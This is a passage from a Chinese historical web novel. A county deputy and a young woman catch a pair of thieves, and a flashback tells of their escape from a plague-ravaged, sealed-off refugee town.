傍晚开始降温,昏暗的巷子口,四个孩子挤在一起互相取暖,他们的眼睛直勾勾看着池楚浠手里的胡饼。
池楚浠停下脚步也看着那几个孩子,嚼在嘴里的饼仿佛被卡在了喉咙很难下咽。
“阿兄。”
这一幕让她回想起从前的遭遇,那时她也是这样蜷缩在漆黑的巷子口,等着有好心人施舍点什么。
池楚浠心软,但理智尚且占据上风,她没有把手里的饼分出去。
巷子口的几个孩子跃跃欲试,像看猎物一般死死盯着池楚浠,若是他们不为了这几个饼奋力一搏,可能明早就饿死了。
“阿兄……”
池楚浠暗中拽住了景序昭的衣带。
她比谁都清楚那几个孩子在想什么,他们敢搏命,他们什么都敢。
这个时候如果把手中的食物施舍出去,那些躲在暗处的人就会蜂拥而上,届时场面不可控制,池楚浠很清楚,因为她以前也是他们中的一员。
一个饼不可能分给所有人。
她没有那个能力接济,能保住自己的命就不错了。
在巷子的更深处,还有很多难民跃跃欲试,但前面的孩子没冲锋,他们也就悄悄退了回去。
他们都是将死之人,许久没吃过一顿饱饭,缺乏力气,面对一个拿着刀且武力值看似高强的男人不太敢硬抢。
要么即刻刀下死,要么明日清晨亡,他们也会掂量。
景序昭护着池楚浠的肩头,沉声道:“走。”
他深知,想要救助这里所有的难民,必须从官府那里想办法。
小花和铁耀打听到杜老板的住处,就在邸舍,跟他们住的是同一个地方。
给了店家一点小钱,店家就领着他们来到杜老板住的房间外。
“几位客官,你们说的那位杜老板就在这儿,已经住了有一阵了。”
小花敲门,里面传来应答的声音:“谁呀?”
景序昭道:“公廨查案。”
一个白净的小奴从里面拉开门,“公廨?你们是公廨的人?”
景序昭给他们亮了公廨的腰牌。
屋里的人道:“让他们进来说话。”
几人进了屋,见杜老板衣着随意地坐在榻上,像是刚擦洗过身子准备休息。
“公廨查案找我有何事,我只是一个路过此地的商人,没偷没抢没杀人。”
景序昭道:“苍山县内有人遗失财物,其中有一枚鎏金银花叶簪,听闻你买下了,拿来瞧瞧可是被盗之物。”
杜老板走南闯北惯了,对官府的这些套路不放在心上,也没什么惧意,他笑了一声道:“我管它是不是偷盗之物,我花钱买的就是我的,你们别想拿回去,除非赔我两倍钱,整个丹水市场像这样的东西还少吗,偏偏拿我买的东西说事,我是不会还回去的。”
“你好好说话!”铁耀大声道,他看起来神情不善,手放在了佩刀的把手上。
杜老板知道公廨里的不良人都是些什么混混角色,他们比正儿八经当官的县老爷强横多了,还不讲仁义道德。
思及此,杜老板放软了几分道:“我都花钱买了你们总不能让我亏本还回去对不对。”
景序昭道:“把东西拿出来看看。”
景序昭不想废话,给了铁耀一个眼色。
铁耀直接上前一步,用混混的气质威胁着杜老板。
杜老板嘴角往下压了压,示意身边的小奴去拿东西。
很快,小奴捧着簪子给景序昭看,“就是这个了。”
杜老板道:“我在丹水这段时日买不了不少这些来路不明的东西,我只挑过得去的货色,回头去沙洲转手卖了还能赚一笔,几位官爷,真不能让我还回去吧,这里的买卖都是这样做的。”
“你们去打听打听,丹水这一片都是地下交易,至少有一半的东西都来路不正,要查的话查得完吗?”
景序昭拿着簪子打量,“卖你这支簪子的人呢,你联系他,把他叫过来。”
“都是一锤子买卖,我上哪儿去给你们找人。”杜老板为难道。
铁耀直接把刀从刀鞘里甩出一半,将锋利的刀口对准杜老板的脖颈。
“别废话了杜翁,我们县丞给你面子暂时不收你买来的赃物,你赶紧把那人叫出来,否则你手里的东西全部没收,让你亏得底裤都不剩。”
“哪有你们这样办案的,我可是要去沙洲的,到时我去跟刺史告……”
“告什么告啊。”铁耀把刀刃贴了过去,压在了杜老爷的脖子上,他用大拇指点了点景序昭,“我们景县丞就算是刺史来了也管不了,赶紧的,不配合我就让你到不了沙洲。”
“慢、慢、慢。”杜老板切实感受到了威胁,“我约
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,我约那人出来行了吧。”
景序昭抬了抬下巴,“抓紧时间。”
杜老板看了看窗外已经笼罩的夜色,无奈地叹了口气。
早知不良人不讲规矩,这边城的不良人更是无法无天,办案还未审就敢把刀架人脖子上。
还有这个什么景县丞,有机会一定要告到刺史那里去。
杜老板:“几位,已经是夜里了,没那么快,等等啊,耐心等等。”
小花也扬刀威胁:“别耍什么花招。”
杜老板:“不敢。”
小奴出去了一趟,没多久就回来道:“杜翁,已跟接头的人说了,说您要把剩下的东西都收了,明天就离开丹水,让他们带着东西速来。”
小花和铁耀提着刀躲在门后。
景序昭将池楚浠送到自己订的房间,嘱咐道:“你无需过来,在这里好好休息。”
池楚浠道:“阿兄,我闻到了那个味道。”
“什么味?”
“尸臭味,那支鎏金银花叶簪。”
景序昭没闻到什么味道,那味道应该是极淡的,他笑了笑,点了一下池楚浠鼻尖,“狗鼻子真灵。”
景序昭拍拍池楚浠的肩,“好好在这屋里待着,等我回来。”
池楚浠嗯了一声。
杜老板的房间距离池楚浠的房间不远,但还是听不见那边的动静。
池楚浠把耳朵贴在门上,能听到邸舍楼梯上的声音,有人上楼了,听起来不止一人。
一股尸臭味透过门缝钻了进来,池楚浠动了动鼻尖,正是这个味道。
长时间跟尸体打交道的人身上必然沾满味道,若是不做祛味处理,时间越久味道越浓。
当下的这股味道就很浓郁,对方肯定是许久没洗澡了。
池楚浠揉了揉鼻子,她对尸体的味道很敏感,从小便跟着阿耶验尸,阿耶验尸她甚至会在旁边打打下手。邻居都说小孩儿不要接触死尸,但阿耶从来不忌讳,偶尔还会给池楚浠讲解验尸方法。
此时走在楼梯上的人必定是苍山县闹事的罪魁祸首,池楚浠仔细听着外面的动静。
那几人的脚步声越走越远,往杜翁的房间去了。
池楚浠有些紧张地等着,等那边传来消息。
连打斗声都没怎么响起,惨叫声就传来了。
杜翁的房间里,景序昭扔给小花一条绳子,铁耀帮忙将两人绑了起来。
“杜老板,你害我!”其中一人挣扎着道。
杜翁看似抱歉地笑了笑,“对不住两位,我也是被逼的,谁让你们不小心惹上公廨的人,下次多长个心眼。”
杜翁看向景序昭道:“财物不用收回吧,否则我的损失谁来赔。”
景序昭用刀鞘敲了敲两个盗贼的脑袋道:“自然是他们退钱,你归还财物。”
杜翁一听,脸色顿时就黑了,“这不行,我在这里耽误这么多天,就为了淘点货,你们怎么能给我收了。”
景序昭瞥他一眼,道:“搞地下交易就该知道有这个风险,要不跟我们去公廨走一趟?”
杜翁咬牙切齿地呵呵笑了一声。
小花和铁耀把人绑了提到房间去。
景序昭轻手轻脚打开房门,一眼就看见朝他迎来的池楚浠。
“怎么没睡?”景序昭反手把门关了,“放心,人已经抓了,东西就是他们偷的,明日带回公廨审问。”
9. 丹水流民
景序昭道:“从这里去沙洲的路不好走,你随我把这桩案子办完再一起去找慕容执,如何?”
“把这两人押回去很快就能尘埃落定,别急在这一两日。”
池楚浠点点头,“多谢阿兄,只是怕耽误你的公事。”
西庄到沙洲这一段路本来就不太平,池楚浠能认清自己的实力,不会自己贸然上路。
若是没有景序昭帮忙,她会考虑雇佣一批护卫同行,虽说护卫也不是完全可靠,但总比一个人涉险要强。
景序昭道:“池主簿并非失足落水,再次验尸显示被毒杀,这本就是一桩悬案,属于公廨办案的范畴,既然落到我手上,那是必然要查清的。”
池楚浠眼眶酸酸的。
景序昭安抚似的在她后脖颈捏了一下,道:“好了,睡吧,明日回公廨。”
景序昭看见房间里的小榻已经铺好了被子,是两个小榻拼起来的,初来时并没有拼上,定是池楚浠在房间里等待时铺上的。
邸舍的条件差,只能这样,她能找来两个小榻已经很不容易了。
“睡吧。”景序昭又说了一遍,他自己朝小榻走去。
池楚浠道:“阿兄若是觉得被褥不够,就去找店家再拿一张,我这里也没多的了。”
景序昭已往榻上坐去,“不必了,够了。”
池楚浠嗯了一声,自行去床上歇息。
“阿兄熄灯吧。”
景序昭无声笑了一下,吹灭了烛火。
池楚浠在他面前从未把自己当成过规矩森严的大家闺秀,况且大晟朝的规矩也没那般吃人不吐骨头,江湖儿女就更随性了,在外可同住一屋,但床是她的,阿兄自然要让妹妹。
夜里漆黑,今夜没有月亮。
揣着许多心事,池楚浠梦见了两年前的景象。
两年前,池主簿落水而亡。
在县令的见证下,她亲自为父亲验尸,得出的结论是父亲连续忙碌数日后在回家的路上失足溺水。
将父亲安葬后她便成了孤身一人,父亲没有给她留下任何遗言,但她知道沙洲曾有一个与父亲关系好的挚友,料理完后事她便前往沙洲,想替父亲把还未寄出的信交给挚友。
天有不测风云,刚行至丹水便遇到北上的难民,成群的难民涌入丹水。
吃的不够了,怎么分都不够,每天都有人饿死。
刚开始,池楚浠只要一出邸舍便会被虎视眈眈的难民逼退,她只能退回来。她穿得光鲜亮丽,身上又带着钱和食物,她知道自己走不出这个镇子。
可一直躲着也不是办法,若是再不想法子离开,她不知道还要在这里耗费多久。
可渐渐的,难民们的戾气好像消下去了,没有人守在路上打劫。
换了身衣服,池楚浠尽量把自己打扮成难民模样,她站在邸舍门口深吸了一口气,跨出了门槛。
在丹水街上越走越心惊,不知从何时起,空气中弥漫着一股臭味,这味道她很熟悉,是腐烂的尸体的味道。
天气阴沉,这味道越发的浓郁。
池楚浠不敢横穿小巷,她走的大道,即使如此,脚边也有刚死去的尸体。
她根本没有意识到会有这么多北上的难民,南边的绒宁大灾,百姓颗粒无收,听闻朝廷已经在赈灾了,但却发展到这种田地,池楚浠还看不懂其中的路数。
她每前行一步心脏都要绷紧一分。
“咳咳咳……”
路边的将死之人不断地咳嗽,池楚浠朝他们看去,见着他们身上或多或少都有一些疮疤。
急促的咳嗽声此起彼伏,池楚浠越走越觉得不对劲,这些难民根本不是普通的饥饿。
她飞速朝外跑去,根本顾不上脚下踩到了什么,她身上已经沾染了难民的味道。
她一路往北门跑去,路上饿殍遍野。
一把长刀横在北门中央,握刀的大汉身材魁梧,仿佛一座大山镇压着这里。
池楚浠的脸色瞬间惨白,原来这里早就出不去了,若一定要强行冲过去那便会成为刀下亡魂。
池楚浠慌忙从包袱里摸出一串通宝,她朝那横刀侍卫走去,想把钱塞给他。
可她还未靠近,那把长刀的刀尖便对准了她的心口。
“滚回去!”侍卫恶语相向。
池楚浠被逼退,她看了看手里的铜钱,原来在这里连钱都成了污秽之物,他们根本不敢收,怕染上病。
大灾和恶疾通常是一起来,难怪赈灾也无用,恐怕朝廷派来的官员早已躲得远远的了。
池楚浠不敢再靠近他,只能怯怯问了句:“官爷,何时能放行?”
侍卫冷眼瞪来:“等着吧。”
等着……
池楚浠只感受到了绝望,她只是想去完成阿耶一个遗愿,送去他未寄出的信,难道这一趟旅程要成为她的绝路。
前路不通,退无可退。
池楚浠想要返回邸舍。
她看见一群人朝邸舍涌去,看他们的模样,无一例外都是难民。
也不知丹水本地人有多少也成了难民,他们失去食物,失去健康,和北上的难民没什么区别。
嘶吼声充斥着耳膜,一群人冲进了邸舍。
池楚浠脚步发软,往后跌了一步。
身上的包袱被人一把夺了过去,抢包袱的是个十岁左右的男孩儿,他拎着包袱一抖,里面掉出几个胡饼。
铜钱也掉在地上,没人去捡,胡饼却被一哄而上抢了个干净。
池楚浠目睹着他们抢食,害怕得一直后退,直到撞在墙上。
邸舍已经被攻陷,这个破旧的邸舍早就是个空壳了,店家都不知逃到了哪去,它迟早会沦陷的。
所有人抢完了胡饼再次死死盯着池楚浠,期待着她身上还有别的食物。
他们像饿狼一步步逼近。
池楚浠哇地一声哭了出来:“我没有吃的了,我真的没有了,呜呜呜……”
她是一副难民模样的打扮,看着也才十四岁左右,本身就个子娇小,蹲在地上哭成一团时也和其他抢食的孩子差不多模样。
“呜呜呜……”
池楚浠哪经历过这些,这对她来说简直就和地狱一样。
抢食的人群里走出个年轻男子来,他的个子比这群孩子高许多,他伸手在前拦了一下,对其他人半哑着嗓子道:“我妹妹。”
男子的手掌扬了扬,示意他们后退,抢食的人群里孩子居多,他们看了男子一眼,很给他面子,纷纷撤退了。
池楚浠胡乱抹了两把眼泪,抬眼朝男子看来,他看起来年纪不大,约莫弱冠,但个子高身材匀称,不像是难民。
“阿兄。”
池楚浠脱
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口而出,她深知要保命就得赶紧把这个名分认下,管他是不是真的阿兄,他愿意当就行。
“多谢阿兄。”
池楚浠一口一个阿兄喊着,一点也不觉得别扭。
倒是听的人好像感觉挺不自在,每当池楚浠喊一声阿兄,他的内心就能扭捏一阵。
“阿兄……”
“我叫景序昭。”
“哦,阿兄。”
景序昭:“……”
“阿兄,从哪里能逃出去?”
景序昭领着她来到北门,指着旁边的小门道:“周围都被官兵围了,从这里冲出去是最便捷最容易逃脱的,你敢吗?”
池楚浠摇摇头,“我不敢,我不会武,打不过他们。”
景序昭的嗓音没有再那样故意哑沉,恢复了少年气,他道:“这已经是座死城了,一旦发生暴动官兵会立刻赶尽杀绝,为了不造成更大的动乱,不让疫病传播,他们可以先斩后奏。”
池楚浠望着侍卫手里的大刀,害怕得呼吸都沉重了。
“我不想死在这里,阿兄,你也不逃吗?”
景序昭沉默片刻,拉起池楚浠的手腕走入一条小巷,“逃,但不是现在,他们还未屠城必定是在等待时机,虽说可以先斩后奏但也不能落人把柄。”
“他们在等一场暴乱,等所有难民揭竿而起那时,便是他们屠镇之日。”
“想要逃出去需得冒险。”
池楚浠跟着景序昭大步走入巷子深处,“我愿意跟着阿兄冒险。”
邸舍的食物早就被抢光了,现在那里已经被难民占据。
夜幕降临,池楚浠被冻得脑子都不清醒了。
“阿兄,我们不能也去邸舍挤一挤吗?”
景序昭拉着池楚浠站在邸舍对面的街道上,他望着邸舍里黑压压的人群道:“都是疫病,最好离他们远些,否则你都活不到逃出去的那一天。”
能避风的屋子里都是人挤人,活人和死人挤在一起,味道难以言喻。
景序昭说得有道理,池楚浠决定不去和他们挤。
可外面实在是冷,冷得她上下牙齿打架。
景序昭带着她来到一条小巷尽头,这里有一个避风处。
景序昭一来,有几个大孩子就围了过来,纷纷叫着:“阿兄。”
池楚浠看着这七八个孩子,原来这些都是景序昭的弟弟妹妹,他照顾着这么多人。
景序昭问:“可有发疫病迹象?”
其中一个孩子道:“石柱病了,我们把他挪到桥洞了。”
景序昭嗯了一声,没说别的。
一旦有人病了就必须分开。
“顺子他们那边有二十人,病了三个,都挪走了。”
池楚浠听他汇报,原来他们是一伙,但是分成了好几批,大家不挤在一起会更安全,一有人发病就隔离。
景序昭处理问题的方式很不同,他想要保全更多的人,尽管如此,但还是控制不住病情。
景序昭给池楚浠找了空地方坐着,让她自己一个人睡。
景序昭独自在一旁,谁都不靠近,看得出来,他比谁都惜命,他不想死在这里。
池楚浠嘴里嚼着景序昭扔给她的食物,一种说不上名字的菜干,硬邦邦的,嚼两口嘴巴都疼。
池楚浠含泪吞了,有的吃总比饿死强。
10. 活着出来
自己的胡饼没有了,现在只能嚼菜干。
尽管景序昭给她挑的这个休息区能防风,但还是冷得人瑟瑟发抖。
池楚浠缩在角落,这是她人生第一次露宿街头。
白天她会跟着弟弟妹妹们出去找吃的,晚上就回到角落里缩着。
景序昭始终是一个人待着,晚上他从来不挨着别人一起睡。
有些弟弟妹妹不抗冻,选择挤在一块,池楚浠信景序昭的话,自己独自待着。
这天夜里,池楚浠睡梦中忽然听见周围有走动的脚步声,因为冷,她睡得不沉,很快便醒了过来。
只见景序昭把所有人都叫了起来,很严肃地道:“围镇的官兵这几日可能会增加一批,我们必须赶在官兵增援之前行动。”
阿毛:“我去起哄,去撺掇那些难民一起冲出去。”
景序昭:“别急,要确保一次就能成功,我会告诉你们时机,在那之前你们只需要煽风点火,告诉他们,官兵不会再管他们死活。”
阿毛重重地点头。
其他人都听明白了。
景序昭给他们传授细节,告诉他们如何煽风点火,煽动难民们的情绪。
池楚浠在一旁听着,她也有任务,她也是煽风点火中的一员。
县令和刺史不派医官来治病就算了,反倒加强兵力,要把所有人屠尽。
若是不逃,便只有死路一条。
景序昭交代完后便回了自己那块待着,他的位置距离池楚浠仅十来步。
池楚浠道:“阿兄,万一成不了事呢,难民们不敢冲杀,又或者官府马上增派援兵,我们根本冲不出去。”
景序昭语气沉沉地道:“以后不许再说这些话,你要煽动他们就必须慷慨激昂,同仇敌忾,要有背水一战的决心,后退只有死路一条。”
池楚浠嗯了一声。
没错,后退只有死路一条。
在此之前,她从未想过世界如此黑暗。
官府可以见死不救,一劳永逸,屠杀殆尽。
景序昭负责观望北门的风向,他很敏锐,能及时察觉到侍卫们的动静。
池楚浠就混在弟弟妹妹堆里,跟着他们一起煽风点火。
如此过了几日,景序昭在一天夜里道:“时机快到了,不能再拖。”
所有人都点头。
池楚浠翻来覆去睡不着,不是因为冷,是因为她怕死。
不冲出去,可能晚一点死,挑衅官兵冲出去,可能立马就死了。
就在她还辗转反侧时,却徒生变故。
景序昭夜里连连咳嗽,严重影响了池楚浠,让她更睡不着了。
“阿兄,你怎么了?”她爬起来迷迷糊糊地隔空询问。
景序昭捂着胸口有些喘不上气来。
池楚浠摸到身边的水壶朝景序昭走过去,刚蹲下要把水递给他,身子便被景序昭猛地推了一把。
“离我远点儿。”
“阿兄……”
池楚浠抱紧了水壶,没让水洒出来,这点干净的水很难得,不能浪费。
她站在两步开外看着景序昭。
景序昭缓过来后抬头看她,“疫病会传染,你再站远些。”
池楚浠心头一紧,“阿兄,你何时……”
“前两日便有迹象了,我或许……。”
池楚浠眉头紧皱,她想要上前但又止住了脚步,“此事是官府处理不当,若真搭上所有人性命难道就公平吗,谁不想活着。”
池楚浠左右看去,大多数人都是一小堆凑在一起取暖,即使条件如此恶劣,也都想活下去。
可官府什么措施都没有,赈灾粮不见了踪影,医官更是不可能来。
“阿兄策划这么久,不就是想逃出去。”
景序昭第一次在她面前露出一个无奈的笑容,“你以为我会同情那些狗官,我才不怕给他们带去麻烦,他们想要把所有难民压下去,我偏不。”
景序昭看向自己的弟弟妹妹们,沉声道:“哪怕有一分机会,我也想让你们活着,我管那些狗官是死是活,若是救不了你们,那就让整个西庄,整个沙洲一起变成炼狱。”
“届时,长安的官总能看见。”
景序昭的眼里有一股怒火,池楚浠清楚,他并不是真的想祸害更多的人,不是真的想让疫病传去沙洲,他只是想让长安的人知道。
西庄的县令,沙洲的刺史,他们不把丹水的人命当命,是他们该死。
池楚浠眼里发酸,“可是阿兄,你还能活着出去吗?”
“喝点水吧。”池楚浠捧着水壶上前。
“站住!”景序昭喝住她,“退回你自己的位置。”
“阿兄……”
池楚浠被他瞪着,他眼中的寒意逼着她往后退。
一早,景序昭又不见了人影,池楚浠知道他去暗中观察守卫了。
“阿毛。”池楚浠拉住跟自己差不多年纪的少年,“真的没有药能治这个病吗?”
阿毛叹了口气,“之前丹水镇有个大夫开过一剂方子,可那方子因人而异,刚开始治好了几人,后来就不行了,怎么喝都没用。”
“你告诉我那位大夫在哪儿。”
“那大夫染病早死了,本来还有一个大夫,他料到有疫病的到来,一早就带着家人跑了。”
池楚浠问到了那个死去的大夫家的地址,自己找了过去。
这是一间老旧的屋子,看起来已经荒凉破败了,她推开门走了进去。
“谁?”
里面居然还有人。
“大娘,我想来拿些药材。”
屋里的妇人看见池楚浠顿时警惕起来,“你、你不要进来,你要什么药材我给你,但吃的没有,我自己都揭不开锅了。”
“大娘,我只要药材,能给我看看您家大夫开过的药方吗?”
妇人摆摆手,“那方子早没用了,你要来也是无济于事,走吧走吧。”
池楚浠把身上所有通宝都递了过去,“大娘,官兵总有撤走的一天,这些钱有用的,您拿着,求您给我看看药方。”
妇人多盯着池楚浠看了几眼,发现她和其他小乞丐有些许不同,模样很周正,眼神清明,虽个子娇小但却不是面黄肌瘦,像是从小不缺吃穿的小娘子。
妇人许是想到什么,心头一软道:“你去看吧,药方还有医书都在,我不识字,你自己看。”
妇人收了池楚浠的钱,领着她去看药方。
池楚浠识字,连公廨里的文书她都偷偷看过。
在大夫家看了一天,
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把所有医书都翻遍了,池楚浠在书上找到了大夫留下的笔记,他圈下了几味药材做替换之用。
池楚浠把那几味药材都拿走了,原药方不行,那在原药方的基础上用替换后的个别药材挨个试呢?
“多谢大娘。”
池楚浠熬好药时天已经黑了。
朦胧的夜色中,景序昭从远处回来,缓缓在自己的位置坐下,他又喘了一阵。
阿毛他们已经看出来了,他们都朝景序昭围了过来。
景序昭抬手示意他们止步,“都回去吧,我去桥洞底下,官兵又没动静了,你们等我吩咐。”
阿毛含泪点头,“阿兄,保重。”
池楚浠看着景序昭往桥洞底下钻去,她用一只缺了口的碗盛了药汤跟了过去。
桥洞底下都是病患,大多数和景序昭熟识,当他们看到景序昭也进来时,所有人的眼里都失去了生机,绝望的氛围冲击着每一个人。
池楚浠站在桥洞前,双手捧着药道:“阿兄,这是驱寒邪的药汤,试试吧。”
一老妇弱弱道:“没用的,染了这病就是等死。”
景序昭看见池楚浠的那一刻脸色立即沉了下来,“谁让你来的,出去。”
池楚浠站着没动,手里稳稳地捧着药。
景序昭站在桥洞底下盯着她看了许久,最终无奈地叹了口气,快步上前从她手里夺过碗,大口把药喝干。
“好了,走吧,以后不许来了。”
景序昭直接把碗扔了,不再让池楚浠接触。
池楚浠盈盈一笑,退出去几步,找了个离桥洞近的位置蜷缩起来。
景序昭已经背靠着石墩坐下了,他往外一看,池楚浠也在桥洞外坐下了,根本没有离开的打算。
“你不想活了?”他远远地问了句。
池楚浠抬起头来,“想啊。”
“那还不走?”
池楚浠抱着膝盖笑了笑,“我要观察你的反应,兴许那药对你有用呢。”
桥洞里的其他人听见都不约而同叹了口气,他们早就知道这药没用。
今夜月光明,隐约能看见景序昭沉得难看的脸色,他盯着池楚浠道:“你自小锦衣玉食惯了,不知人间疾苦,不懂人心险恶是吗,若有机会活,这里的人谁会轻易放弃。”
池楚浠的笑容里掺上一丝苦味,她抿直唇角,道:“我没有锦衣玉食,我自小跟着阿耶长大,幸得他待我从不吝啬,什么都惯着我。”
说着,池楚浠扫了一眼桥洞里的孩子们,和他们相比,自己那寻常的生活倒真能用锦衣玉食来形容。
池楚浠不说话了,只闭眼小憩。
景序昭借着月光看了她片刻,不再理她。
这样的环境下,自己不爱惜自己,谁也帮不了她,善于同情别人的人,往往活不下去。
他自己也是。
夜里,池楚浠被咳嗽声吵醒。
她第一眼看向景序昭,发现他倒在地上双腿蜷缩着,周围都是此起彼伏的咳嗽声。
老妇的丈夫死了,她的哭声和其他声音夹杂在一起。
夜里温度骤降,是死人最多的时间段。
景序昭一动不动,好像也死了。
池楚浠动了动麻木的双腿,慢慢往桥洞走去。
11. 得过且过
每靠近一步池楚浠心里也在打鼓,染上这种疫病的人最后死相都很难看,她不想自己死成那副皮肤溃烂的模样。
她准备探一下便收回手,只一下就好。
池楚浠双指探向景序昭的颈动脉,幸好,还在跳动,池楚浠松了口气。
旁边有个女人道:“他已是病入膏肓了,他这会儿全身冰凉,再过一会儿就会发热,身上会生疮,日渐溃烂。”
“那药一点用都没有……”池楚浠自言自语了一句。
女人道:“没用的,除非朝廷派新的医官来,但眼下谁敢来,我们只有等死。”
“快走吧,你别管他了,就算是晚几天染上这病那也好多过几天轻松日子。”
女人劝池楚浠离开。
池楚浠连夜去求了大夫家的娘子,要来一张被褥,她抱着被褥跑回桥洞。
女人惊道:“你怎么还回来。”
池楚浠将被褥盖在景序昭身上。
“他是我阿兄,我虽也怕死,但总归欠了他的恩情,是他让我活着,是他让我有口吃的。”
女人默默地叹了口气。
有人都易子而食了,哪里还有亲情可言,小娘子就偏生那般天真,不像是从难民堆里出来的。
天还未亮,池楚浠就换了几味药材继续熬。
当她捧着药回来时发现景序昭刚离开,她迅速追上。
“阿兄,你好些了?”
景序昭没有回话,只快步往前走,去往北门。
援兵未到,兵器先到。
景序昭躲在暗处看见外面运来一车一车的兵器,他攥紧了拳头。
抢,他脑子里只有一个念头。
有了兵器,他们逃出去更有胜算。
“阿兄……”
池楚浠还未说完,手里的药便被景序昭拂在地上。
“你走吧,就当我不认识你。”景序昭道。
池楚浠看着他从自己眼前离去。
下雨了,气温越发地冷。
这还不是丹水的寒冬月,只是初冬。
当池楚浠再次找到景序昭时,他已然倒在地上不醒人事。
阿毛他们围在旁边哭泣,不知如何是好。
阿毛蹲在景序昭身旁,声音哽咽:“阿兄,没有你谁带我们出去……”
池楚浠拨开人群来到景序昭面前,她还是探了探他的脖颈,没死,但体温出奇的高,应是高热导致的昏迷。
阿毛望向池楚浠,“阿姐,怎么办,官兵已经把刀都运来了。”
池楚浠暗中捏紧了自己的衣角,仿佛是下定了某种决心,她用力把景序昭从地上拽起来,让他搭在自己身上。
“我来想办法,放心,我一定让他清醒着带你们出去,阿毛,帮我煎药。”
治疗疫病的药方池楚浠不要了,换了退热的药方,这种方子很常见,大夫家里有现成的。
一个时辰后,阿毛端着药过来了。
池楚浠把景序昭拖回桥洞的那一刻,她感觉自己有些浑浑噩噩的,如此近距离与景序昭接触,她已经能预料到自己的结局了。
可眼下除了景序昭,没有人能完整地实现他的计划,这一环非他不可。
一旁的女人再次道:“你这是何苦呢,都说了这药不管用。”
池楚浠笑不出来,情绪和昨夜不一样了,“我知道,这药只是退热,让他脑子清醒些。”
“醒醒,姓景的。”池楚浠在景序昭脸上扇了几下。
人没醒。
她接了几捧雨水往他脸上泼去,景序昭的意识终于回笼了。
“不许再打翻我的药,这只是给你退热的,景序昭,脑子清醒点儿,带弟弟妹妹们出去。”
说着,池楚浠端着药给他灌了下去。
“阿毛,再熬两次,过两个时辰再送来。”
池楚浠用被子把景序昭盖住,让他身体保持一个合适的温度,等待药效发挥作用。
反正已经破罐子破摔了,池楚浠不想再独自冷得瑟瑟发抖,她也缩进了被子里。
久违的温暖袭来,池楚浠竟睡了过去。
再次醒来时是被疼醒的,池楚浠迷迷糊糊睁开眼,发现景序昭正用力捏着她的两只手腕。
景序昭的眼神从未如此吓人,池楚浠在看清他的第一眼就下意识往后躲。
“现在知道躲了。”
景序昭的目光仿佛要将她凌迟。
池楚浠回过神来,强行把手抽出,“想来我注定要葬身于此,若是我不管你,你醒不过来,这一切就都白费了。”
景序昭一直死死地盯着她,眸光忽然暗了一瞬。
阿毛送来了第二碗退热药,景序昭自己主动喝了。
池楚浠道:“阿毛他们说刀都已经运来了,但好像还有什么动静,等你给个话他们再行动。”
景序昭嗯了一声,起身去往北门。
池楚浠懒得动了,继续窝回被子里。
在死前能享受到片刻温暖,好像还不错。
煎药的炉子池楚浠接手了,这样一来就不能再让阿毛他们碰,赶在景序昭回来之前,她又熬了一碗药。
景序昭回来时给她带了吃的。
池楚浠接过梆硬的饼看了看,笑道:“这莫不是我丢的那块,他们藏起来没吃吗,都变色了。”
景序昭在炉子旁坐下,不语。
池楚浠把药递给他,“下火降温,你多喝点,万一喝死就算了,反正也没有别的法子。”
这句话终于给景序昭逗笑了,他笑完,端过药汤一饮而尽。
“池楚浠,你阿耶呢?”
“溺水,没了。”
“怪不得。”
“怪不得什么?”
“怪不得忍心让你流落至此。”
吃过不算晚饭的晚饭后,池楚浠缩进了被窝里,景序昭的眉头皱了又皱,他似乎不太习惯有人睡他旁边。
天气冷,被子薄,没有被子的时候倒还能挨,在体验过温暖后反倒抗不住了。
越是得到一点温暖越是想要更多,于是她索性把被子裹了裹,把自己卷到了景序昭身边去。
两人面对面贴着,景序昭的下巴抵在池楚浠头顶。
她略微抬头扫了一眼,道:“既已落到这种田地,何不彼此取暖,得过且过。”
池楚浠从被子里探出手来,在景序昭眉间抚了一下,“舒展开来,别这样瞪着我,我要睡了,别让我做噩梦。”
池楚浠收回手,在被窝里找了个舒服的位置放着,正好贴在景序昭胸前。
景序昭睁着眼睛,久无睡意。
少女的身体贴在他身前,她似乎真的很困,已经安然入睡了。
恶疾缠身,冰雨连绵,食不果腹,生死一线,这一切令景序昭思绪重重。
他垂眸看了看身前的娇俏小娘子,没有半点淫.欲,但这一刻,他很想让池楚浠活着出去。
想看到她锦衣玉食
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过后半生,而不是和自己腐烂在桥洞里。
景序昭的手无意间碰到池楚浠身上一块硬硬的东西,他悄悄摸出来查看。
是一个同心锁,金子做的。
看完后他又悄悄放了回去。
清晨,雨依旧没停。
景序昭从北门回来后脸色难看,“他们在偷偷囤积火油。”
池楚浠一愣,“想烧死我们?”
联想到那些提前运来的兵器,池楚浠脑子里已经有画面了,官兵先是放一把大火将丹水难民包围,侍卫手持武器守住,但凡逃出去一个就砍一个,最终全都化成一团灰烬。
这对他们来说是最便捷安全的法子,比直接屠镇来得更有效率。
越想心里越发颤,官府竟可以如此恶毒。
池楚浠一把拽住景序昭手腕,沉声道:“下雨天他们不会放火,趁现在带他们走。”
只见景序昭蹲下身,捡起一颗石子在地上画图。
池楚浠歪头看去,“这是……八卦图?”
景序昭:“嗯,天象星河,五行交错,世间万物,皆有其道。”
“风水堪舆?”池楚浠俯身认真看,“你学过此等术法?”
景序昭默默推演。
“我有一师父,深谙此道。”
他拿出三枚铜钱,轻轻摇动后抛出,重复六次,完成了一个六爻卦象。
池楚浠道:“司天台依天象而卦,解世间万般变化,还有大衍莁法、纳甲莁法、梅花易,这些你都会吗?”
正在推演的景序昭看了她一眼,回:“你说的只是易卦,星占、金钱占、式盘占这些我师父都会。”
池楚浠脸上略有兴奋之态,迫不及待地问:“你卜的卦如何,能成事吗?”
景序昭无奈笑了笑,手指在她头顶敲了一下,“成事在人。”
池楚浠摸着脑袋疑惑:“不是成事在天吗?”
景序昭抹去地上的图像,“定数有变,他们改用火,这雨还会下,增派的官兵不会来了,泥泞时上不了远洲路,再等一夜。”
天气持续阴沉,小雨连绵,看不出要停的迹象。
景序昭说这雨还不会停,池楚浠就信,每日都徘徊在生死边缘,池楚浠对景序昭的信任日渐增多。
今日还是给景序昭喝了三碗药,事实证明喝不死,还能降温让他保持七八分清醒。
体温是降了,但病情却丝毫没有延迟。
景序昭掀开袖子看了一眼,皮肤已经有了大团发红,很快他就会像其他疫病患者一样,肌肤生疮,直到死亡腐烂。
仅看了一眼,他便快速拉下袖子遮挡。
池楚浠已经把自己团进被子里,连脸都挡了一半。
景序昭往后缩了一寸,藏着手远离她。
他还是忍不住问道:“你可有察觉身体不适?”
